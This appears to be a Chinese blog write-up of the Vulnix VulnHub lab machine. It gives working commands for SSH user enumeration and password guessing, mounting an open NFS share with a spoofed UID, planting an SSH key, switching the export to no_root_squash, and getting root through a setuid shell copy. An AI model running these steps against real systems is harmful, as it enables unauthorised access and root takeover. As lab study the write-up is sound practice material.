• 10. Vulnix 靶机


    简介

    靶机地址:https://www.vulnhub.com/entry/hacklab-vulnix,48/

    信息收集

    image-20210511194849451

    服务验证

    ssh 尝试 root 弱密码,默认凭证 ,失败。但存在用户名枚举。

    # 尝试跑常见用户名字典,以及目标靶机名
    bin daemon games lp mail man news nobody root sync sys user uucp www-data vulnix
    
    # 尝试 top 100 密码爆破,得到以下用户
    user:letmein
    

    smtp 25,尝试识别版本,只能根据响应识别到是 Postfix smtp ,无更详细版本,搜索到可能 exp ·34896,但利用失败。可以尝试枚举用户,scanner/smtp/smtp_enum 但失败。这个服务还可以尝试 伪造邮件,但此靶机不需要。

    finger 79 显示系统用户信息,使用 finger @192.168.200.148 可以用来枚举用户。

    imap 如果有用户凭证的话可以尝试看其邮件,前面可以通过 smtp 或 ssh 的用户枚举,再加上密码爆破,可以尝试这个,暂时不考虑。

    512、513、514 都无详细利用点。exec 需要有凭证才能执行命令。pop3d 暂无利用点。

    rpcbind,首先可以看到其中有 nfs

    image-20210511202644554

    nfs 未授权 + ssh
    nfs 是 c/s 系统,允许客户端将网络上的文件夹挂载到本地
    
    # 查看可用的挂载
    showmount -e 192.168.200.148
    #	Export list for 192.168.200.148:
    #	/home/vulnix *
    
    mkdir /mnt/vulnix
    mount -t nfs -o vers=2 192.168.200.148:/home/vulnix /mnt/vulnix -o nolock
    # 挂载成功后发现权限不够,即使是root 也不行,解决办法很简单,因其要求 id 为 2008 的用户,所以添加即可
    
    useradd -u 2008 vulnix
    passwd vulnix
    su vulnix
    

    看了下 writeup, 既然能映射读写 vulnix 文件夹,并且有 ssh 链接,那么就可以上传 vulnix 用户的密钥,从而 ssh 连接到 vulnix 用户。详细操作,见生成密钥

    # 使用 ssh-keygen 生成密钥对,直接回车,默认生成在当前用户家目录下 .ssh 文件夹
    -rw-------  1 root root 2590 May 11 20:05 id_rsa
    -rw-r--r--  1 root root  563 May 11 20:05 id_rsa.pub
    # 其中 id_rsa.pub 为公钥,id_rsa 为私钥。
    
    # 将公钥保存在服务器上要连接的用户的家目录的下 .ssh/authorized_keys 文件中。 
    # 并更改这个文件的所有者 chown 用户:组 authorized_keys
    
    最后,以特定用户运行 ssh
    
    利用 密钥免密码 ssh 连接。
    

    提权

    user 用户

    得到凭证 user:letmein

    image-20210512100759868

    尝试提权,但没找到配置缺陷。

    vulnix 用户

    image-20210512112453676

    /etc/exports 是 nfs 的配置文件,那么这块就有个 nfs 配置漏洞

    # 将文件中此行修改
    /home/vulnix    *(rw,root_squash)
    # 修改为
    /home/vulnix    *(rw,no_root_squash)
    

    但是问题来了,要想使修改后的配置生效,必须重启此服务才可以。

    service nfs-kernel-server restart
    # 想重启该服务,却没有相应权限。
    

    看了几个 writeup ,都是通过 shutdown -r 0 重启系统。

    重启后,ssh 登录 vulnix 用户到靶机。然后拷贝 /bin/bash

    image-20210610121524557

    之后在我们的主机上,使用 root 用户将 bash 权限修改。

    root@kali:/mnt/vulnix# chown root:root csh
    root@kali:/mnt/vulnix# chmod 4755 csh
    

    然后在目标主机上运行,成功得到 root 权限。

    image-20210610121205679

    此处我尝试将本机的 bash 拷贝到此目录,但之后在目标主机无法运行,其原因是 版本不兼容,这个靶机是 2012 年推出的。。

    后记

    # 最后取消挂载,删除本地文件夹,删除创建的用户
    sudo umount /mnt/vulnix
    sudo rm -r /mnt/vulnix
    sudo userdel vulnix
    
  • 相关阅读:
    Laravel 禁用指定 URL POST 请求的 csrf 检查
    laravel console
    python之面向对象(一)
    python中os.popen, os.system()区别
    Day6作业:计算器
    Day5作业,商城+ATM机+后台管理
    python基础之反射
    python基础之坑爹正则表达式
    python基础之模块(一)
    python 中的一些基础算法:递归/冒泡/选择/插入
  • 原文地址:https://www.cnblogs.com/starrys/p/14870636.html
Copyright © 2020-2023  润新知